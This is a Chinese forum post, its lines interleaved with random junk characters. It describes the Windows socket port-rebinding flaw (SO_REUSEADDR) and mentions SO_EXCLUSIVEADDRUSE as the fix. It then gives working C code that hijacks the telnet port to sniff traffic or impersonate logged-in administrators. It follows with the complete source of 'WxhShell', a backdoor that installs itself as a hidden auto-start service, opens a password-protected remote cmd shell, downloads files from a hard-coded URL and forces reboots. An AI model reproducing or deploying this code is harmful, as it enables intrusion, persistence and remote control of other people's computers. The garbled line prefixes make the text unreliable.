在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
a0ObBe' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gE?|_x# Sh8"F@P8 saddr.sin_family = AF_INET;
"
_ka<R.. ;hjwD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CtS l hBX!iukT|{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
LmnymcH @ >U-t{W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
dp*u9z~NA N
D2L_!g:( 这意味着什么?意味着可以进行如下的攻击:
H?X|(r|+ <>aw
1WM+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<h'5cO oT>(V]*5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Yn G_m] 2mGaD\?K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qCnZhJ wGP;Vbk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
vsl]92xI c>)Yt^q&K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d >t<_} I]EbodAyZ, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
07^iP>? ptZ <ow& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?TKRjgW`@_ E`uY1B[c #include
SF<c0bR9 #include
%Va!\# #include
rMhB9zB1 #include
pxh"B\"4* DWORD WINAPI ClientThread(LPVOID lpParam);
bq:(u4 3 int main()
FK5<6n,U {
`I,,C,{C WORD wVersionRequested;
n*{sTT DWORD ret;
<t
\H^H! WSADATA wsaData;
N#a$t& BOOL val;
D5*q7A6 SOCKADDR_IN saddr;
LB a[:j2 SOCKADDR_IN scaddr;
ZGKu>yM int err;
uW}s)j. SOCKET s;
!*%WuyCgr4 SOCKET sc;
ZP\-T*)l$ int caddsize;
/VN f{p HANDLE mt;
]33>m|?@ DWORD tid;
^>hW y D wVersionRequested = MAKEWORD( 2, 2 );
lUvpszH= err = WSAStartup( wVersionRequested, &wsaData );
)j0TeE1R if ( err != 0 ) {
In<n&ib printf("error!WSAStartup failed!\n");
m~-K[+ya`D return -1;
n+A?"`6*# }
&RnTzqv saddr.sin_family = AF_INET;
ZWKg9 %y7 ]X ?7ZI^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
GfmI<{da ei[j1F saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+N:o-9 saddr.sin_port = htons(23);
zM(vr"U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=aBctd:eX` {
ne_TIwf w- printf("error!socket failed!\n");
V^Q#:@0 return -1;
yU-e3O7L }
sWc*5Rt val = TRUE;
\Yc'~2n //SO_REUSEADDR选项就是可以实现端口重绑定的
"Pu!dJ5[] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
f>UXD {
E(8*
pI printf("error!setsockopt failed!\n");
m;GbLncA return -1;
8)10o,#L }
rFj-kojg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,l:ORoND //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
t7j);W%e6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+oovx2r& ~^r29'3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=06gj)8 {
EkjN{$* ret=GetLastError();
O\"3J(y, printf("error!bind failed!\n");
xQ^E"Q,1 return -1;
ZL&g_jC }
W;!}#o|%s listen(s,2);
%R}.#,Suo while(1)
JSCZ{vJ$ {
P;qN(2L/=< caddsize = sizeof(scaddr);
A|X">,A //接受连接请求
/7|V+6jV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;
Q3n if(sc!=INVALID_SOCKET)
'kL#] {
<~n"m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@oV9) if(mt==NULL)
<FcG
oGK {
`\#B18eU printf("Thread Creat Failed!\n");
LIvFx| break;
H1QJk_RL }
8TLgNQP }
z6jc8Z=O CloseHandle(mt);
(nlvl?\d }
XF;ES3 d closesocket(s);
Of[XKFn_ WSACleanup();
d9;g]uj` return 0;
_lGdUt 2 }
|yQZt/*SOZ DWORD WINAPI ClientThread(LPVOID lpParam)
C1m]*}U {
I+[>I=ewa SOCKET ss = (SOCKET)lpParam;
Kgi<UkFP SOCKET sc;
X[&Wkr8x ' unsigned char buf[4096];
ymx>i~>7J SOCKADDR_IN saddr;
ZaV8qAsP long num;
['B?i1 . DWORD val;
&:dH, DWORD ret;
0 yuW*z //如果是隐藏端口应用的话,可以在此处加一些判断
<b`E_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rA5=dJ"I saddr.sin_family = AF_INET;
x7jC)M<k0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X.f>'0i saddr.sin_port = htons(23);
O&4SCVZp if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-bT)]gA2 {
%yW3VL printf("error!socket failed!\n");
ifUGY[ L return -1;
Z{ X|6. }
jB$IyQ;@ val = 100;
tG9BfGF if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'rO!AcdLU {
WaVtfg$! ret = GetLastError();
V'8s8H return -1;
<SgM@0m }
`_` QxM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`.FF!P:{C* {
M^r1S ret = GetLastError();
[<g?WPCcC return -1;
u'|4?"uz }
||hb~%JK6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lOuHVa*} {
\{Z;:,S printf("error!socket connect failed!\n");
pb
~uE closesocket(sc);
]*
F\"C@ closesocket(ss);
?'@8kpb return -1;
5q;GIw^L }
UEM(@zD] while(1)
X(]WVCu {
_wkVwPr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|)b6>.^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
H%UL%l$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zr+zhpp num = recv(ss,buf,4096,0);
TMlP*d# if(num>0)
^S UPi send(sc,buf,num,0);
b&~4t/Vq else if(num==0)
]b7zJUz break;
6K-_pg] num = recv(sc,buf,4096,0);
r@+ri1c if(num>0)
OWjk=u2Lz send(ss,buf,num,0);
p?7v$ev_ else if(num==0)
5NS[dQG5 break;
~sl{ |E }
=vDEfO/T closesocket(ss);
Rs-]N1V closesocket(sc);
86 W9rR return 0 ;
6:Ch^c+IZ }
aY'C%^h] ]iN'x?Fo :PIF07$xl ==========================================================
P9^-6;'Y trPAYa}W 下边附上一个代码,,WXhSHELL
FbaEB RM }=gx# ==========================================================
\O*-#} ~\ TcjEcMw, #include "stdafx.h"
/'].lp cZB7fmq% #include <stdio.h>
Ne8Cgp #include <string.h>
M dZ&A}S #include <windows.h>
=(NB%} #include <winsock2.h>
AsAT_yv# #include <winsvc.h>
- }7e:!. #include <urlmon.h>
ej4W{IN~: Z:,U]Z( #pragma comment (lib, "Ws2_32.lib")
,&jhlZ i #pragma comment (lib, "urlmon.lib")
a`&f { /K.3 #define MAX_USER 100 // 最大客户端连接数
WN{ 9 #define BUF_SOCK 200 // sock buffer
cik!GA #define KEY_BUFF 255 // 输入 buffer
"!Uqcay- x(hE3S#+ #define REBOOT 0 // 重启
YQ+tDZY8` #define SHUTDOWN 1 // 关机
#E?(vA1
z.$4!$q #define DEF_PORT 5000 // 监听端口
,k{#S?:b (i34sqV$m #define REG_LEN 16 // 注册表键长度
Z*y`R
XE #define SVC_LEN 80 // NT服务名长度
!V"<U2 !>{G,\^=pT // 从dll定义API
TH; R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
& -{DfNK c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]h>_\9qO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L\)ZC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-yE/f2PgQ ?nofUD. // wxhshell配置信息
?WF/|/ struct WSCFG {
]+|~cRQ9I int ws_port; // 监听端口
Y
;u<GOe char ws_passstr[REG_LEN]; // 口令
4wID]bKM int ws_autoins; // 安装标记, 1=yes 0=no
5mJ JU char ws_regname[REG_LEN]; // 注册表键名
$FlW1E j char ws_svcname[REG_LEN]; // 服务名
'oF%,4 !Y char ws_svcdisp[SVC_LEN]; // 服务显示名
As 3.Q(#Z char ws_svcdesc[SVC_LEN]; // 服务描述信息
LQ(yScA@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[s"O mAy4 int ws_downexe; // 下载执行标记, 1=yes 0=no
4{hps.$?~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
X%Z{K- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@y='^DQ* `tHvD=`m. };
i`QKH |zQ4u // default Wxhshell configuration
P;P%n struct WSCFG wscfg={DEF_PORT,
g .onTFwN "xuhuanlingzhe",
lJu;O/ 1,
)2V: "Wxhshell",
eoai(&o0$ "Wxhshell",
W=#:.Xj[ "WxhShell Service",
!n*
+(lZ "Wrsky Windows CmdShell Service",
9Wnn'T@Tl "Please Input Your Password: ",
+?u~APjNN 1,
HG+%HUO$ "
http://www.wrsky.com/wxhshell.exe",
]bj&bk# "Wxhshell.exe"
.q
`Hjmg< };
Xe<sJ.&Wf ]$Yvj!K*Q // 消息定义模块
Fs{x(_LOr char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
q;<h[b? char *msg_ws_prompt="\n\r? for help\n\r#>";
_CW(PsfY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:uWw8` char *msg_ws_ext="\n\rExit.";
v}1QH char *msg_ws_end="\n\rQuit.";
]8Q4BW char *msg_ws_boot="\n\rReboot...";
k 8UO9r[ char *msg_ws_poff="\n\rShutdown...";
1u:
gFUb char *msg_ws_down="\n\rSave to ";
6^]!gR#B txiP!+3OWB char *msg_ws_err="\n\rErr!";
5&v~i\Q char *msg_ws_ok="\n\rOK!";
RRRCS]y7$t 4*Q#0`um char ExeFile[MAX_PATH];
^Wc@oa` int nUser = 0;
0Uo\wyd HANDLE handles[MAX_USER];
J4Nln int OsIsNt;
AtdlZ 2] zq#6ix SERVICE_STATUS serviceStatus;
.Xce9C0SW SERVICE_STATUS_HANDLE hServiceStatusHandle;
( M7pT x|mqL-Q f // 函数声明
<_3b1VhZ int Install(void);
|&FkksNAl\ int Uninstall(void);
]}U*_rM: int DownloadFile(char *sURL, SOCKET wsh);
JsDpy{q int Boot(int flag);
W#KpPDgZE void HideProc(void);
2Ou[u#H int GetOsVer(void);
gW-V=LV ( int Wxhshell(SOCKET wsl);
ft$RSb# void TalkWithClient(void *cs);
a"FCZ.O1 int CmdShell(SOCKET sock);
BReJ!|{m} int StartFromService(void);
4:|S` jm int StartWxhshell(LPSTR lpCmdLine);
+pR[U4$ kuol rfGB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;?8_G%va VOID WINAPI NTServiceHandler( DWORD fdwControl );
tS|(K=$
fjU8gV // 数据结构和表定义
$lLz3YS SERVICE_TABLE_ENTRY DispatchTable[] =
|QU <e {
}
\XfH {wscfg.ws_svcname, NTServiceMain},
`}mcEl {NULL, NULL}
K Pt5=a };
byTh/ H p(~Yx3$* // 自我安装
i(iXD int Install(void)
"f "6]y {
o| #Qu8Lk char svExeFile[MAX_PATH];
c
)G3k/T5 HKEY key;
4WJ.^ ( strcpy(svExeFile,ExeFile);
qMLD)rL dR"@` // 如果是win9x系统,修改注册表设为自启动
d5oIH if(!OsIsNt) {
'=Rs/EDME if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z"0I>gl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8Le||)y,\ RegCloseKey(key);
(>r[-Bft if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Cq%IE^g< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)rekY; RegCloseKey(key);
gLy&esJl1 return 0;
m06ALD_ }
{buo^kgj`] }
@}@Z8$G^ }
O*0l+mop else {
YhDtUt}? G&4&-< // 如果是NT以上系统,安装为系统服务
M+w=O!dq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ptU\[Tq if (schSCManager!=0)
J[4mLU {
i70wrW#k SC_HANDLE schService = CreateService
]=>F.GE (
.
koYHq schSCManager,
\'|>p/5I wscfg.ws_svcname,
i[?Vin wscfg.ws_svcdisp,
>AcrG] SERVICE_ALL_ACCESS,
^-,xE>3o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y#q?A,C@n SERVICE_AUTO_START,
b)=[1g/=L SERVICE_ERROR_NORMAL,
Kjs.L!W svExeFile,
}Q=!Y>Tc NULL,
dvt9u9Vg= NULL,
T`5bZu^c NULL,
-(f)6a+H NULL,
MP!d4 NULL
iZM+JqfU|D );
hFH*B~*:# if (schService!=0)
!*oi!ysU;O {
"
N9 <w U CloseServiceHandle(schService);
S/4^ d &Gr CloseServiceHandle(schSCManager);
QWzB6H] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Sgp;@4`M strcat(svExeFile,wscfg.ws_svcname);
px}|Mu7z~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>_|O1H./4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
EUN81F? RegCloseKey(key);
$shoasSuI return 0;
.6`9H 1 }
&(xH$htv1 }
i 7x7xtq CloseServiceHandle(schSCManager);
L{h%f4Du# }
A29gz:F( }
|j#C|V%kV 1 D<_N return 1;
J"=vE= }
^yyC
[Mz ?TU }~} // 自我卸载
t.`@{R$hoA int Uninstall(void)
`bZ/haU}A {
kw"SwdP5 HKEY key;
>g+?Oebgw Y#u}tE
d if(!OsIsNt) {
SVO 3821 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8]M_z:F7F RegDeleteValue(key,wscfg.ws_regname);
"a8j"lPJ RegCloseKey(key);
r=X}%~_8X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qoj$]
RegDeleteValue(key,wscfg.ws_regname);
S"OR% RegCloseKey(key);
"CUty"R8 return 0;
1n:8s'\ }
C4~;y hz }
v"OY 1<8 }
c@/(B:@ else {
1oN^HG6O E}40oID SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
;9#Z@]p if (schSCManager!=0)
ev#;t@^ {
@+ BrgZv` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?q;Fp if (schService!=0)
ReM=eS {
S5G6Rj@W if(DeleteService(schService)!=0) {
^xij{W`| CloseServiceHandle(schService);
nij!1z|M CloseServiceHandle(schSCManager);
;K!]4tfJ return 0;
#ZYVc|sT+ }
5ZMR,SZhC CloseServiceHandle(schService);
G|(
]bvJ? }
j}~86JO+Cw CloseServiceHandle(schSCManager);
2Fq<*pxAY
}
WC.t_"@ }
kX>f^U{j Y0_),OaY return 1;
)FpZPdN+h }
V{^!BBQ
V??dYB( // 从指定url下载文件
u"d~!j1 int DownloadFile(char *sURL, SOCKET wsh)
AO=h
23ZI {
*T~Ve;3h; HRESULT hr;
ub;ZtsM,% char seps[]= "/";
8"fD`jtQ char *token;
/XhIx\40l char *file;
WnGGo'Z char myURL[MAX_PATH];
}jVSlCF@t char myFILE[MAX_PATH];
/4vG3 :1iqT)&|8F strcpy(myURL,sURL);
wYQ&C{D% token=strtok(myURL,seps);
tb$LriN while(token!=NULL)
brdmz} {
0 0M@ file=token;
`.x
Fiyc token=strtok(NULL,seps);
A@sZ14+f }
|m80]@> XI9js{p GetCurrentDirectory(MAX_PATH,myFILE);
uwjGDw strcat(myFILE, "\\");
`kU/NKq strcat(myFILE, file);
iv>SsW'p_ send(wsh,myFILE,strlen(myFILE),0);
4*'pl.rb> send(wsh,"...",3,0);
IaT$6\> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sfOHarww if(hr==S_OK)
D;_ MPN[ return 0;
G=A,9@+c else
T`Mf]s)* return 1;
JXu$ew>q w\DVzeW( }
SL;9Q[ ~d6DD;`K // 系统电源模块
Sp^9&^ int Boot(int flag)
"V$Bnz\n {
w*|7!iM HANDLE hToken;
GF5^\Rf TOKEN_PRIVILEGES tkp;
m
q{]; rORZerM if(OsIsNt) {
Xa[?^P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;\\@q"n%< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Vgyew9>E tkp.PrivilegeCount = 1;
6p?JAT5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\@1=stK:F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YJl("MZ if(flag==REBOOT) {
61jI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[fKUyIY_ return 0;
!V,{_(LT }
{FG|\nPw else {
EoxQ
*/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e&qh9mlE return 0;
^4`Px/& }
=@8H"&y` }
hQDTS>U else {
r?*NhLG; if(flag==REBOOT) {
[g Z"a* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ty*@7g0k return 0;
}-o{ASC# }
w&B#goS else {
]<q[Do8k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}GZ}Q5 return 0;
K%Rj8J7|u? }
GKFq+]W }
3RR_fmMT) F`9ZH. return 1;
jvV9eA:zl }
zKsz*xv6b v!FMs< // win9x进程隐藏模块
{s_+?<l void HideProc(void)
Gsc\/4Wx {
0sh/|`\ zWb4([P; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xj5~%DZp if ( hKernel != NULL )
XFh>U7z. {
DmBS0NyR7Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z KOXI%~Mc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_"#!e{N| FreeLibrary(hKernel);
n]u<!.X }
yH<$k^0r* E gDQ+(
- return;
H=\!2XS }
WzI8_uM W{rt8^1 // 获取操作系统版本
&%_& 8DkG int GetOsVer(void)
@j4U^"_QB {
Eb=#9f%y>& OSVERSIONINFO winfo;
jh.@- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kee|42E GetVersionEx(&winfo);
f7 'q- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a+9*@z2 return 1;
j$7Xs" else
F|HJH"2*&q return 0;
6O22P?v }
BkZV!Eg d|*"IFe // 客户端句柄模块
wV)}a5+ int Wxhshell(SOCKET wsl)
=SAU4xjo {
80$fG8 SOCKET wsh;
V`-vR2( struct sockaddr_in client;
n?:= DWORD myID;
3J=Y9 } dna6QV>A while(nUser<MAX_USER)
Bs MuQ|! {
NcAp_q?
4 int nSize=sizeof(client);
S inl wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~Wp Gf, if(wsh==INVALID_SOCKET) return 1;
n3`&zY SgEBh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x+@&(NMP5 if(handles[nUser]==0)
`+/H^ closesocket(wsh);
wO>L#"X^v else
c0Dmq)HK? nUser++;
)kJH5/ }
0'r%,0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
OGrBUP KA276# return 0;
/n4pXT }
o|j*t7 /S\cU`ZVe // 关闭 socket
AC.A'|"]i void CloseIt(SOCKET wsh)
dk==? {
1,V`8 [ closesocket(wsh);
Zh/Uu6 nUser--;
e62Dx#IY ExitThread(0);
%G@5!|J }
6st^4S5 $^tv45 // 客户端请求句柄
vwr74A.g0 void TalkWithClient(void *cs)
{@u<3 s {
XIWm>IQ[) (#oycj^< SOCKET wsh=(SOCKET)cs;
;_:Oo l, char pwd[SVC_LEN];
a0*2) uL} char cmd[KEY_BUFF];
8:.nEo' char chr[1];
e2C<PGUUB int i,j;
Ft@Wyo`^ !%Y~~'5 h while (nUser < MAX_USER) {
ZE`lr+_Y ==cd>03() if(wscfg.ws_passstr) {
w&BGJYI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<g9"Cr` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w^1Fi8+ //ZeroMemory(pwd,KEY_BUFF);
= zl=SLe i=0;
?R5'#|EyX while(i<SVC_LEN) {
? &zQaxD T#O??3/%$1 // 设置超时
jvVi%k fd_set FdRead;
b8f+,2Tk struct timeval TimeOut;
!eJCM`cp FD_ZERO(&FdRead);
,5|d3dJS FD_SET(wsh,&FdRead);
#'hLb TimeOut.tv_sec=8;
a9~"3y TimeOut.tv_usec=0;
jvzBh-! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
* \HRw +cL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;:mY JV PzY)"]g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Yn9j-` pwd
=chr[0]; A.Bk/N1G
if(chr[0]==0xd || chr[0]==0xa) { }xFi&
<
pwd=0; -iCcoA
break; &D#+6M&LK{
} +[m8c){
i++; iQ^:
])m>
} 89cVJ4]g~!
K<v:-TjQZ:
// 如果是非法用户,关闭 socket ,PWj_}|L[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *wi}>_\
} Q;nAPS
mh;X~.98
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Icp0A\L@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8G ]w,eF
[$ :
while(1) { e@F|NCQ.9
r-w2\ 2
ZeroMemory(cmd,KEY_BUFF); tLcEl'Eo
!5x
Ly6=}
// 自动支持客户端 telnet标准 S)%_we LW7
j=0; A6ewdT?>,
while(j<KEY_BUFF) { Qrz4}0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #X.+
cmd[j]=chr[0]; ~DLIz g7p!
if(chr[0]==0xa || chr[0]==0xd) { 'Zk<l#"}
cmd[j]=0; _eLVBG35z
break; HBLWOQab
} F?Or;p5`Y
j++; (OQ?<'Qa
} sXl ??UGe
'nK~'PZ,
// 下载文件 PdY>#Cyh
if(strstr(cmd,"http://")) { ^ua12f
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +zWrLf_Rc
if(DownloadFile(cmd,wsh)) ;^l_i4A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w 7tC|^#G
else |Vx~fK S\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -O&"|
} !Y;<:zx5
else { ~,}s(`~
s?O&ZB2GM[
switch(cmd[0]) { ;mO,3dV
2H&{1f\Bf
// 帮助 p27p~b&
case '?': { |*Ot/TvG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Tq"mw9P
break; v`)m">e*w
} p[YWSjf
// 安装 wL<j:>Ke[3
case 'i': { ~4s-S3YzaM
if(Install()) v`{:~q*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;]&-MFv#
else =|y|P80w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r#xk`a
break; ?^3B3qqh9
} 'TEyP56
// 卸载 R}J-nJlb
case 'r': { ' yNPhI
if(Uninstall())
$e/*/.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `F,zenk=
else WbzA Jx 5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `I>], J/
break; U5rxt^
} 0]a1 5
// 显示 wxhshell 所在路径 u~71l)LA
case 'p': { |h1^Gv
char svExeFile[MAX_PATH]; tL8't]M,
strcpy(svExeFile,"\n\r"); g)M#{"H
strcat(svExeFile,ExeFile); w2)/mSnu
send(wsh,svExeFile,strlen(svExeFile),0); 5X;?I/9
break; DyI2Ye
} $DV-Ieb
// 重启 fH!=Zb_{8
case 'b': { a R#Cot
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ck(.N
if(Boot(REBOOT)) v,\93mNp[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SY6r 8RK
else { (^S5Sc=
closesocket(wsh); `9EVB;
ExitThread(0); 2nx8iA
} tG 7+7Z=
break; zZYHc?Z
} -ddOh<U>
// 关机 s1@@o#r
case 'd': { ew"m!F#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ao!=um5D J
if(Boot(SHUTDOWN)) 3^H/LWx`{]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pU[K%@sC
else { c+;S<g0
closesocket(wsh); 4H7Oh*P\j
ExitThread(0); IuWX*b`v
} ~mcZUiP9
break; !>|`ly$6
} cX"G7Bh
// 获取shell 3qcpf:
case 's': { q+J0}y{#8)
CmdShell(wsh); _U=S]2QW
closesocket(wsh); 'X ~Ab
ExitThread(0); g!5#,kJM
break; o?=fhc
} RD9Yk
// 退出 u p~@?t2
case 'x': { jhcuK:`L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h~.V[o7=
CloseIt(wsh); #[(0tc/
break; #J3zTG(:@
} Ris-tdg
// 离开 eb7UoZw
case 'q': { DsG !S*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vdy\4 nu(
closesocket(wsh); |Qq+8IeYG
WSACleanup(); ]Qy,#p'~&H
exit(1); q\G{]dz?R
break; j>g9\i0O1
} +9}' s{
} 0, "ZV}
} JSUzEAKe
a~F u
// 提示信息 fcn_<Yh0W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bF7`] 83
} gTyW#verh$
} sK[Nti0
'U*udkn 2]
return; zPA>af~Ej
} uyvs kz\
;9Hz{ej
// shell模块句柄 ^zkd{ov
int CmdShell(SOCKET sock) `O jvt-5}E
{ J
b|mXNcL
STARTUPINFO si; 2"_ 18l.
ZeroMemory(&si,sizeof(si)); ;p .j
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %0Vc\M@"G
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {vCU^BN,k
PROCESS_INFORMATION ProcessInfo; C!I\Gh
char cmdline[]="cmd"; L;kyAX@^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <|wmjW/D
return 0; MbM:3
} ),z,LU Yf
2@4MC`&